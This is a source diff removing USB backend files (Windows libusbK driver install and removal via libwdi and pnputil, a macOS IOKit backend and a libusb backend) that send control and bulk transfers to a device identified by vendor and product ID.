if (strcmp(list[i], inf) == 0) return;
|
||||
}
|
||||
|
||||
strncpy(list[*count], inf, 63);
|
||||
list[*count][63] = '\0';
|
||||
(*count)++;
|
||||
}
|
||||
|
||||
driver_result_t install_libusbk_target(unsigned short vid, unsigned short pid)
|
||||
{
|
||||
struct wdi_device_info *list = NULL;
|
||||
struct wdi_options_create_list cl = { .list_all = TRUE };
|
||||
struct wdi_options_prepare_driver prep = {
|
||||
.driver_type = WDI_LIBUSBK,
|
||||
.vendor_name = "libusbK"
|
||||
};
|
||||
struct wdi_options_install_driver inst = {0};
|
||||
|
||||
LOG_VERBOSE("Target: VID:%04X PID:%04X", vid, pid);
|
||||
|
||||
if (wdi_create_list(&list, &cl) != WDI_SUCCESS) {
|
||||
LOG_ERROR("wdi_create_list failed");
|
||||
return DRIVER_ERROR;
|
||||
}
|
||||
|
||||
char temp_path[MAX_PATH];
|
||||
char driver_path[MAX_PATH];
|
||||
|
||||
if (GetTempPathA(MAX_PATH, temp_path) == 0) {
|
||||
LOG_ERROR("GetTempPathA failed");
|
||||
wdi_destroy_list(list);
|
||||
return DRIVER_ERROR;
|
||||
}
|
||||
|
||||
snprintf(driver_path, sizeof(driver_path), "%slibusbk_driver\\", temp_path);
|
||||
|
||||
CreateDirectoryA(driver_path, NULL);
|
||||
|
||||
bool found = false;
|
||||
bool installed = false;
|
||||
bool failed = false;
|
||||
|
||||
for (struct wdi_device_info *d = list; d; d = d->next) {
|
||||
if (d->vid != vid || d->pid != pid)
|
||||
continue;
|
||||
|
||||
found = true;
|
||||
|
||||
if (d->driver && _stricmp(d->driver, "libusbK") == 0) {
|
||||
LOG_VERBOSE(
|
||||
"Device %04X:%04X already using libusbK",
|
||||
vid,
|
||||
pid
|
||||
);
|
||||
installed = true;
|
||||
break;
|
||||
}
|
||||
|
||||
LOG("Installing libusbK for %04X:%04X...", vid, pid);
|
||||
|
||||
if (wdi_prepare_driver(
|
||||
d,
|
||||
driver_path,
|
||||
"libusbk_driver.inf",
|
||||
&prep
|
||||
) != WDI_SUCCESS)
|
||||
{
|
||||
LOG_ERROR("wdi_prepare_driver failed");
|
||||
failed = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (wdi_install_driver(
|
||||
d,
|
||||
driver_path,
|
||||
"libusbk_driver.inf",
|
||||
&inst
|
||||
) != WDI_SUCCESS)
|
||||
{
|
||||
LOG_ERROR("wdi_install_driver failed");
|
||||
failed = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
LOG_SUCCESS(
|
||||
"libusbK driver successfully installed for %04X:%04X",
|
||||
vid,
|
||||
pid
|
||||
);
|
||||
|
||||
installed = true;
|
||||
}
|
||||
|
||||
wdi_destroy_list(list);
|
||||
|
||||
if (!found)
|
||||
return DRIVER_NOT_PRESENT;
|
||||
|
||||
if (installed && !failed)
|
||||
return DRIVER_SUCCESS;
|
||||
|
||||
return DRIVER_ERROR;
|
||||
}
|
||||
|
||||
driver_result_t uninstall_libusbk_target(unsigned short vid, unsigned short pid)
|
||||
{
|
||||
char hwid_u[64], hwid_l[64];
|
||||
snprintf(hwid_u, sizeof(hwid_u), "USB\\VID_%04X&PID_%04X", vid, pid);
|
||||
snprintf(hwid_l, sizeof(hwid_l), "usb\\vid_%04x&pid_%04x", vid, pid);
|
||||
|
||||
LOG_VERBOSE("Target Signature: %s (libusbK)", hwid_u);
|
||||
|
||||
char temp_path[MAX_PATH], log_path[MAX_PATH], cmd[512];
|
||||
if (GetTempPathA(MAX_PATH, temp_path) == 0) return DRIVER_ERROR;
|
||||
snprintf(log_path, sizeof(log_path), "%spnputil_drivers.txt", temp_path);
|
||||
|
||||
// Strip active instances first
|
||||
snprintf(cmd, sizeof(cmd), "pnputil /remove-device /deviceid \"%s\" >nul 2>&1", hwid_u);
|
||||
system(cmd);
|
||||
|
||||
// Dump staging tables
|
||||
snprintf(cmd, sizeof(cmd), "pnputil /enum-drivers > \"%s\"", log_path);
|
||||
system(cmd);
|
||||
|
||||
FILE *fp = fopen(log_path, "r");
|
||||
char line[256], current_oem_inf[64] = {0};
|
||||
char target_drivers_list[MAX_MATCHING_DRIVERS][64];
|
||||
int target_count = 0, is_libusbk = 0, matches_hwid = 0;
|
||||
|
||||
if (fp) {
|
||||
while (fgets(line, sizeof(line), fp)) {
|
||||
if (strstr(line, "Published Name:") || strstr(line, "Published name:")) {
|
||||
if (is_libusbk && matches_hwid) {
|
||||
add_target_driver(target_drivers_list, &target_count, current_oem_inf);
|
||||
}
|
||||
is_libusbk = matches_hwid = 0;
|
||||
current_oem_inf[0] = '\0';
|
||||
|
||||
char *inf_ptr = strstr(line, "oem");
|
||||
if (inf_ptr) sscanf(inf_ptr, "%63s", current_oem_inf);
|
||||
}
|
||||
|
||||
if (strstr(line, "libusbK") || strstr(line, "libusbk")) is_libusbk = 1;
|
||||
if (strstr(line, hwid_u) || strstr(line, hwid_l) || strstr(line, "libusbk_driver.inf")) matches_hwid = 1;
|
||||
}
|
||||
if (is_libusbk && matches_hwid) {
|
||||
add_target_driver(target_drivers_list, &target_count, current_oem_inf);
|
||||
}
|
||||
fclose(fp);
|
||||
DeleteFileA(log_path);
|
||||
}
|
||||
|
||||
if (target_count > 0) {
|
||||
for (int i = 0; i < target_count; i++) {
|
||||
LOG("Purging driver package (%d/%d): %s", i + 1, target_count, target_drivers_list[i]);
|
||||
snprintf(cmd, sizeof(cmd), "pnputil /delete-driver %s /uninstall /force >nul 2>&1", target_drivers_list[i]);
|
||||
system(cmd);
|
||||
}
|
||||
snprintf(cmd, sizeof(cmd), "pnputil /scan-devices >nul 2>&1");
|
||||
system(cmd);
|
||||
LOG_SUCCESS("All %d libusbK driver instances fully uninstalled.", target_count);
|
||||
return DRIVER_SUCCESS;
|
||||
}
|
||||
|
||||
LOG_ERROR("No matching libusbK driver package found in system store");
|
||||
return DRIVER_NOT_PRESENT;
|
||||
}
|
||||
|
||||
bool usb_device_present(unsigned short vid, unsigned short pid)
|
||||
{
|
||||
HDEVINFO info;
|
||||
SP_DEVINFO_DATA dev_info;
|
||||
|
||||
char target[64];
|
||||
|
||||
snprintf(
|
||||
target,
|
||||
sizeof(target),
|
||||
"VID_%04X&PID_%04X",
|
||||
vid,
|
||||
pid
|
||||
);
|
||||
|
||||
info = SetupDiGetClassDevsA(
|
||||
NULL,
|
||||
"USB",
|
||||
NULL,
|
||||
DIGCF_PRESENT | DIGCF_ALLCLASSES
|
||||
);
|
||||
|
||||
if (info == INVALID_HANDLE_VALUE)
|
||||
return false;
|
||||
|
||||
dev_info.cbSize = sizeof(dev_info);
|
||||
|
||||
for (DWORD i = 0;
|
||||
SetupDiEnumDeviceInfo(info, i, &dev_info);
|
||||
i++)
|
||||
{
|
||||
char hardware_ids[4096];
|
||||
DWORD size = 0;
|
||||
|
||||
if (!SetupDiGetDeviceRegistryPropertyA(
|
||||
info,
|
||||
&dev_info,
|
||||
SPDRP_HARDWAREID,
|
||||
NULL,
|
||||
(PBYTE)hardware_ids,
|
||||
sizeof(hardware_ids),
|
||||
&size))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
char *id = hardware_ids;
|
||||
|
||||
while (*id) {
|
||||
if (strstr(id, target)) {
|
||||
SetupDiDestroyDeviceInfoList(info);
|
||||
return true;
|
||||
}
|
||||
|
||||
id += strlen(id) + 1;
|
||||
}
|
||||
}
|
||||
|
||||
SetupDiDestroyDeviceInfoList(info);
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,28 +0,0 @@
|
||||
#ifdef _WIN32
|
||||
|
||||
#ifndef DRIVER_MOD_H
|
||||
#define DRIVER_MOD_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef enum {
|
||||
DRIVER_SUCCESS = 0,
|
||||
DRIVER_NOT_PRESENT,
|
||||
DRIVER_ERROR,
|
||||
} driver_result_t;
|
||||
|
||||
driver_result_t install_libusbk_target(unsigned short vid, unsigned short pid);
|
||||
driver_result_t uninstall_libusbk_target(unsigned short vid, unsigned short pid);
|
||||
bool usb_device_present(unsigned short vid, unsigned short pid);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // DRIVER_MOD_H
|
||||
|
||||
#endif // _WIN32
|
||||
@@ -1,280 +0,0 @@
|
||||
#ifdef __APPLE__
|
||||
|
||||
#include "usb_iokit.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <CommonCrypto/CommonCrypto.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#include "../../utils.h"
|
||||
|
||||
static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) {
|
||||
CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val);
|
||||
|
||||
if(cf_val != NULL) {
|
||||
CFDictionarySetValue(dict, key, cf_val);
|
||||
CFRelease(cf_val);
|
||||
}
|
||||
}
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) {
|
||||
IOCFPlugInInterface **plugin_interface;
|
||||
SInt32 score;
|
||||
bool ret = false;
|
||||
|
||||
if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) {
|
||||
ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess;
|
||||
IODestroyPlugInInterface(plugin_interface);
|
||||
}
|
||||
|
||||
IOObjectRelease(serv);
|
||||
return ret;
|
||||
}
|
||||
|
||||
static bool open_usb_interface(usb_handle_t *handle) {
|
||||
IOUSBFindInterfaceRequest req;
|
||||
io_iterator_t iter;
|
||||
io_service_t intfServ;
|
||||
IOReturn kr;
|
||||
|
||||
req.bInterfaceClass = kIOUSBFindInterfaceDontCare;
|
||||
req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare;
|
||||
req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare;
|
||||
req.bAlternateSetting = kIOUSBFindInterfaceDontCare;
|
||||
|
||||
kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter);
|
||||
if(kr != kIOReturnSuccess) return false;
|
||||
|
||||
while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
IOCFPlugInInterface **plugin = NULL;
|
||||
IOUSBInterfaceInterface245 **intf = NULL;
|
||||
SInt32 score = 0;
|
||||
HRESULT res;
|
||||
|
||||
kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score);
|
||||
|
||||
IOObjectRelease(intfServ);
|
||||
|
||||
if(kr != kIOReturnSuccess || !plugin) continue;
|
||||
|
||||
res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf);
|
||||
|
||||
(*plugin)->Release(plugin);
|
||||
|
||||
if(res != S_OK || !intf) continue;
|
||||
|
||||
kr = (*intf)->USBInterfaceOpen(intf);
|
||||
if(kr != kIOReturnSuccess) {
|
||||
(*intf)->Release(intf);
|
||||
continue;
|
||||
}
|
||||
|
||||
handle->interface = intf;
|
||||
IOObjectRelease(iter);
|
||||
return true;
|
||||
}
|
||||
|
||||
IOObjectRelease(iter);
|
||||
return false;
|
||||
}
|
||||
|
||||
void close_usb_device(usb_handle_t *handle) {
|
||||
if(handle->async_event_source) {
|
||||
CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||
CFRelease(handle->async_event_source);
|
||||
handle->async_event_source = NULL;
|
||||
}
|
||||
|
||||
if(handle->interface) {
|
||||
(*handle->interface)->USBInterfaceClose(handle->interface);
|
||||
(*handle->interface)->Release(handle->interface);
|
||||
handle->interface = NULL;
|
||||
}
|
||||
|
||||
if(handle->device) {
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
(*handle->device)->Release(handle->device);
|
||||
handle->device = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
close_usb_device(handle);
|
||||
}
|
||||
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle) {
|
||||
bool ret = false;
|
||||
|
||||
if(query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) {
|
||||
if((*handle->device)->USBDeviceOpen(handle->device) == kIOReturnSuccess) {
|
||||
if((*handle->device)->SetConfiguration(handle->device, 1) == kIOReturnSuccess && (*handle->device)->CreateDeviceAsyncEventSource(handle->device, &handle->async_event_source) == kIOReturnSuccess) {
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode);
|
||||
|
||||
if(open_usb_interface(handle)) {
|
||||
ret = true;
|
||||
} else {
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
}
|
||||
} else {
|
||||
(*handle->device)->USBDeviceClose(handle->device);
|
||||
}
|
||||
}
|
||||
|
||||
if(!ret) {
|
||||
(*handle->device)->Release(handle->device);
|
||||
handle->device = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
CFMutableDictionaryRef matching_dict;
|
||||
io_iterator_t iter;
|
||||
io_service_t serv;
|
||||
bool ret = false;
|
||||
|
||||
while((matching_dict = IOServiceMatching(kUSBDeviceClassName)) != NULL) {
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBVendorID), handle->vid);
|
||||
cf_dictionary_set_int16(matching_dict, CFSTR(kUSBProductID), handle->pid);
|
||||
|
||||
if(IOServiceGetMatchingServices(0, matching_dict, &iter) == kIOReturnSuccess) {
|
||||
while((serv = IOIteratorNext(iter)) != IO_OBJECT_NULL) {
|
||||
if(open_usb_device(serv, handle)) {
|
||||
ret = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
IOObjectRelease(iter);
|
||||
|
||||
if(ret) break;
|
||||
|
||||
sleep_ms(USB_TIMEOUT);
|
||||
}
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void reset_usb_handle(usb_handle_t *handle) {
|
||||
if(handle->device) {
|
||||
(*handle->device)->ResetDevice(handle->device);
|
||||
(*handle->device)->USBDeviceReEnumerate(handle->device, 0);
|
||||
}
|
||||
}
|
||||
|
||||
static void usb_async_cb(void *refcon, IOReturn ret, void *arg) {
|
||||
transfer_ret_t *transfer_ret = refcon;
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
memcpy(&transfer_ret->sz, &arg, sizeof(transfer_ret->sz));
|
||||
|
||||
if(ret == kIOReturnSuccess) {
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
CFRunLoopStop(CFRunLoopGetCurrent());
|
||||
}
|
||||
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
IOUSBDevRequestTO req;
|
||||
IOReturn ret;
|
||||
|
||||
req.wLenDone = 0;
|
||||
req.pData = p_data;
|
||||
req.bRequest = b_request;
|
||||
req.bmRequestType = bm_request_type;
|
||||
req.wLength = OSSwapLittleToHostInt16(w_len);
|
||||
req.wValue = OSSwapLittleToHostInt16(w_value);
|
||||
req.wIndex = OSSwapLittleToHostInt16(w_index);
|
||||
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
|
||||
|
||||
ret = (*handle->device)->DeviceRequestTO(handle->device, &req);
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
if(ret == kIOReturnSuccess) {
|
||||
transfer_ret->sz = req.wLenDone;
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == kUSBPipeStalled) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
|
||||
IOUSBDevRequestTO req;
|
||||
|
||||
req.wLenDone = 0;
|
||||
req.pData = p_data;
|
||||
req.bRequest = b_request;
|
||||
req.bmRequestType = bm_request_type;
|
||||
req.wLength = OSSwapLittleToHostInt16(w_len);
|
||||
req.wValue = OSSwapLittleToHostInt16(w_value);
|
||||
req.wIndex = OSSwapLittleToHostInt16(w_index);
|
||||
req.completionTimeout = req.noDataTimeout = USB_TIMEOUT;
|
||||
|
||||
if((*handle->device)->DeviceRequestAsyncTO(handle->device, &req, usb_async_cb, transfer_ret) == kIOReturnSuccess) {
|
||||
sleep_ms(usb_abort_timeout);
|
||||
|
||||
if((*handle->device)->USBDeviceAbortPipeZero(handle->device) == kIOReturnSuccess) {
|
||||
CFRunLoopRun();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
if(!handle || !handle->interface) return false;
|
||||
|
||||
IOUSBDevRequest req = {
|
||||
.bmRequestType = bm_request_type,
|
||||
.bRequest = b_request,
|
||||
.wValue = w_value,
|
||||
.wIndex = w_index,
|
||||
.wLength = (UInt16)w_len,
|
||||
.pData = p_data,
|
||||
};
|
||||
|
||||
IOReturn ret = (*handle->interface)->ControlRequest(handle->interface, 0, &req);
|
||||
|
||||
if(transfer_ret) {
|
||||
transfer_ret->ret = (ret == kIOReturnSuccess)
|
||||
? USB_TRANSFER_OK
|
||||
: USB_TRANSFER_ERROR;
|
||||
transfer_ret->sz = req.wLenDone;
|
||||
}
|
||||
|
||||
return ret == kIOReturnSuccess;
|
||||
}
|
||||
|
||||
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len) {
|
||||
if(!handle || !handle->interface) return false;
|
||||
IOReturn ret = (*handle->interface)->WritePipe(handle->interface, 2, data, len);
|
||||
return ret == kIOReturnSuccess;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
handle->interface = NULL;
|
||||
handle->async_event_source = NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -1,62 +0,0 @@
|
||||
#ifdef __APPLE__
|
||||
|
||||
#ifndef IOKIT_BACKEND_H
|
||||
#define IOKIT_BACKEND_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
#ifdef __APPLE__
|
||||
# if TARGET_OS_IPHONE
|
||||
# define kUSBPipeStalled kUSBHostReturnPipeStalled
|
||||
# else
|
||||
# define kUSBPipeStalled kIOUSBPipeStalled
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifdef __APPLE__
|
||||
# if TARGET_OS_IPHONE
|
||||
# define kUSBDeviceClassName "IOUSBHostDevice"
|
||||
# else
|
||||
# define kUSBDeviceClassName kIOUSBDeviceClassName
|
||||
# endif
|
||||
#endif
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL,
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
io_service_t serv;
|
||||
IOUSBDeviceInterface320 **device;
|
||||
IOUSBInterfaceInterface245 **interface;
|
||||
CFRunLoopSourceRef async_event_source;
|
||||
} usb_handle_t;
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
|
||||
void close_usb_device(usb_handle_t *handle);
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
void reset_usb_handle(usb_handle_t *handle);
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret);
|
||||
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret);
|
||||
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len);
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
|
||||
#endif // IOKIT_BACKEND_H
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -1,193 +0,0 @@
|
||||
#ifndef __APPLE__
|
||||
|
||||
#include "usb_libusb.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#include "../../utils.h"
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
#if _WIN32
|
||||
libusb_release_interface(handle->device, 0);
|
||||
#endif
|
||||
libusb_close(handle->device);
|
||||
libusb_exit(NULL);
|
||||
}
|
||||
|
||||
void reset_usb_handle(const usb_handle_t *handle) {
|
||||
libusb_reset_device(handle->device);
|
||||
}
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
|
||||
for(;;) {
|
||||
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
|
||||
#if _WIN32
|
||||
libusb_set_auto_detach_kernel_driver(handle->device, 1);
|
||||
|
||||
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS ||
|
||||
libusb_set_configuration(handle->device, 1) == LIBUSB_ERROR_BUSY)
|
||||
{
|
||||
if(libusb_claim_interface(handle->device, 0) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
#else
|
||||
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
#endif
|
||||
|
||||
libusb_close(handle->device);
|
||||
}
|
||||
sleep_ms(USB_TIMEOUT);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void usb_async_cb(struct libusb_transfer *transfer) {
|
||||
*(int *)transfer->user_data = 1;
|
||||
}
|
||||
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, USB_TIMEOUT);
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
if(ret >= 0) {
|
||||
transfer_ret->sz = (uint32_t)ret;
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) {
|
||||
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
|
||||
struct timeval tv;
|
||||
int completed = 0;
|
||||
uint8_t *buf;
|
||||
|
||||
if(transfer != NULL) {
|
||||
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + w_len)) != NULL) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
|
||||
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, p_data, w_len);
|
||||
}
|
||||
libusb_fill_control_setup(buf, bm_request_type, b_request, w_value, w_index, (uint16_t)w_len);
|
||||
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_cb, &completed, USB_TIMEOUT);
|
||||
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
|
||||
tv.tv_sec = usb_abort_timeout / 1000;
|
||||
tv.tv_usec = (usb_abort_timeout % 1000) * 1000;
|
||||
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
|
||||
libusb_cancel_transfer(transfer);
|
||||
}
|
||||
if(completed != 0) {
|
||||
if((bm_request_type & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
|
||||
memcpy(p_data, libusb_control_transfer_get_data(transfer), transfer->actual_length);
|
||||
}
|
||||
if(transfer_ret != NULL) {
|
||||
transfer_ret->sz = (uint32_t)transfer->actual_length;
|
||||
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
libusb_free_transfer(transfer);
|
||||
}
|
||||
return completed != 0;
|
||||
}
|
||||
|
||||
bool send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, transfer_ret_t *transfer_ret) {
|
||||
int ret = libusb_control_transfer(handle->device, bm_request_type, b_request, w_value, w_index, p_data, (uint16_t)w_len, 0);
|
||||
|
||||
if(transfer_ret != NULL) {
|
||||
if(ret >= 0) {
|
||||
transfer_ret->sz = (uint32_t)ret;
|
||||
transfer_ret->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
transfer_ret->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transfer_ret->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len)
|
||||
{
|
||||
static uint32_t maxLen = 0;
|
||||
int transferred = 0;
|
||||
int32_t r;
|
||||
if(maxLen == 0)
|
||||
{
|
||||
r = libusb_bulk_transfer(handle->device, 2, data, len, &transferred, 0);
|
||||
if(r == LIBUSB_SUCCESS)
|
||||
{
|
||||
return transferred == len ? LIBUSB_SUCCESS : LIBUSB_ERROR_INTERRUPTED;
|
||||
}
|
||||
else if(r != LIBUSB_ERROR_NO_MEM)
|
||||
{
|
||||
return r;
|
||||
}
|
||||
#if defined(__linux__)
|
||||
// We only get here on ENOMEM
|
||||
FILE *f = fopen("/sys/module/usbcore/parameters/usbfs_memory_mb", "r");
|
||||
if(f)
|
||||
{
|
||||
char str[32]; // More than enough to hold a uint64 in decimal
|
||||
size_t s = fread(str, 1, sizeof(str), f);
|
||||
fclose(f);
|
||||
if(s == 0 || s >= sizeof(str)) return r;
|
||||
str[s] = '\0';
|
||||
char *end = NULL;
|
||||
unsigned long long max = strtoull(str, &end, 0);
|
||||
// Using the limit as-is will lead to ENOMEM, so we multiply
|
||||
// by half a MB and impose an appropriate max value.
|
||||
if(*end == '\n') ++end;
|
||||
if(*end != '\0' || max == 0 || max >= 0x2000) return r;
|
||||
maxLen = (uint32_t)(max << 19);
|
||||
}
|
||||
else
|
||||
#endif
|
||||
{
|
||||
// Just 1MB by default?
|
||||
maxLen = 0x100000;
|
||||
}
|
||||
}
|
||||
// If we get here, we have to chunk our data
|
||||
for(int done = transferred; done < len; )
|
||||
{
|
||||
uint32_t chunk = len - done;
|
||||
if(chunk > maxLen) chunk = maxLen;
|
||||
transferred = 0;
|
||||
r = libusb_bulk_transfer(handle->device, 2, (unsigned char*)data + done, chunk, &transferred, 0);
|
||||
done += transferred;
|
||||
if(r == LIBUSB_SUCCESS) continue;
|
||||
if(r != LIBUSB_ERROR_NO_MEM || maxLen <= 0x40) return r;
|
||||
maxLen /= 2;
|
||||
}
|
||||
return LIBUSB_SUCCESS;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
